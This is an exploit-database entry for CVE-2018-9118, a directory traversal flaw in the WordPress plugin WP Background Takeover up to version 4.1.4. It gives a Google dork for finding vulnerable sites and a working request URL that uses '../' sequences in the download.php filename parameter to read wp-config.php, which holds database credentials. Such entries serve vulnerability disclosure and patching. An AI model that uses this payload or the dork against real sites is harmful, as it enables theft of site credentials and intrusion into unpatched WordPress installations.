Wordpress plugin background takeover < 4.1.4 directory traversal Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-04-09 | Type : webapps | Platform : php
This exploit / vulnerability Wordpress plugin background takeover < 4.1.4 directory traversal is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: WP Background Takeover, Directory Traversal <= 4.1.4
# Google Dork: inurl:/plugins/wpsite-background-takeover
# Date: 2018-03-08
# Exploit Author: Colette Chamberland, Defiant, Inc.
# Vendor Homepage: https://99robots.com
# Software Link: https://99robots.com/products/wp-background-takeover-advertisements/
# Version: <= 4.1.4
# Tested on: Wordpress 4.9.x
# CVE : CVE-2018-9118

Description

Allows for an attacker to browse files via the download.php file:

http://target[.]com/wp-content/plugins/wpsite-background-takeover/exports/download.php?filename=../../../../wp-config.php

Wordpress plugin background takeover < 4.1.4 directory traversal


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Wordpress plugin background takeover < 4.1.4 directory traversal Vulnerability / Exploit